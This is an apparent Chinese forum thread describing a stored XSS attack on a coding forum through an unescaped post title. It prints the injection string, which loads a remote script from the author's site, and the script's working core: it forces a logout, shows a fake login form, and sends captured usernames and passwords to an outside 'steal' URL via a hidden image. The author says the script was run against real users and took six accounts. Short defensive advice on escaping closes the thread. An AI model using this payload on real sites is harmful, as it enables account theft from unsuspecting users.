主要问题是页面中有一个这么一处
var title = "这里是帖子标题";
tiny叔直接在模板里的js代码中没有过滤直接输出字符串,使得我可以在标题里面使用"
符号打断这段代码。比如我在标题的最后面加上如下语句:
";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"
于是上面那个title变量的赋值语句就变成了这样
var title = "";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"";
到此我的代码就注入成功了。这段代码的作用就是在此页面上加载 http://lovearia.me/t.js 这个放在我的网站上的脚本。
用XSS注入直接获取帐号密码是比较困难的,但是可以通过欺骗的手段,骗取密码。如何让用户输入帐号密码呢?这个其实很简单,我的做法是:
接下来,看看我的 lovearia.me/t.js 是怎么写的。杂七杂八的细节我不说了,我就说核心的部分。
// 设置退出登录页面和登录页面
var logoutpage = '/user/logout/';
var loginpage = '/user/login/';
// 登录页面的表单选择器
var loginformselector = 'form[action="/user/login/"]';
// 登录页面中用户名密码的选择器
var usernameselector = 'input[name="name"]';
var passwordselector = 'input[name="password"]';
// 接受偷取用户名密码的URL
var receiveurl = 'http://lovearia.me/main/steal/';
// 首先,用Ajax强制退出用户的登录
$.get(logoutpage, function(){
// 然后,用Ajax获取登录页面并且覆盖当前页面
// 注意:此处不会跳转URL
$.get(loginpage, function(d){
$('html').html(d);
alert('这是钓鱼登录页面,别输入帐号密码了');
// 当用户提交登录表单的时候,获取用户名密码,并且传输给服务器
$(loginformselector).on('submit', function(e){
e.preventDefault();
var username = $(usernameselector).val();
var password = $(passwordselector).val();
var img = $('<img>');
img.attr('src', receiveurl + username + '/' + password);
img.css('display', 'none');
img.on('error', function(){
//localStorage['islogin'] = 'true';
$(loginformselector).off('submit');
$(loginformselector).trigger('submit');
});
// 这里通过图片传输数据来避免跨域问题
$('body').append(img);
});
});
});
恕我愚昧,我还是不明白你怎么注入折断代码的...是发表一个新话题吗?我自己理解的如下:
😊🏄
首先,这个问题已经被 tiny 叔修复了。如果你早两个星期注册的话估计能看到活的。当时我的一篇帖子的标题如下所示:
放福利了<a style='display:none;'>";var d=document;s=d.createElement('script');s.src='http://lovearia.me/t.js';d.head.appendChild(s);"</a>
<a>
标签是用来隐藏我后面那段代码,来保证不被发现。
一开始,我在跟我的学妹讲解XSS注入,当时因为在看Ourcoders,所以就随手拿来Ourcoders来给她讲解。
结果一试发现tiny叔是完全没有做任何xss的防护,直接在文本框里面写 <script>
标签都不会被过滤。(测试成功的那瞬间我自己都不敢相信……)
然后我就跟tiny说了,让他做一下XSS的防范。于是在文本框内输入<script>
标签这种低级的注入就无效了。
后来我在帖子页面里面被我发现了一个 var title = "标题"
这样的一条赋值语句,然后我就尝试用在标题里面加入"
符号来尝试打断,然后发现成功了。于是就连夜写了我上面的那些代码,然后从早上六点挂到了早上十点停止,一共有六名用户中招,其中还包括了tiny叔。
后来让 tiny 叔紧急修复啦 /w\
不要直接把你用户的输入插入进模板。很多模板引擎会默认帮你过滤标签,但是PHP自身就是一个模板,所以PHP的开发者一定要注意。
不要直接把用户的输入直接插入页面中的JS。如果真的需要传字符串数据给JS的话,先转Json再插入页面的JS。转Json还能帮你有效的处理特殊字符,比如换行符之类的。
在页面上不要直接 eval 其他的用户输入,也不要直接用jquery把任何用户输入直接插入其他人的页面(比如网页弹幕之类的程序)。
我有个想法唉,我反其道而行之,专门做一个用来让大家XSS玩的页面好了。而且页面上被XSS做的改动还会保留 /w\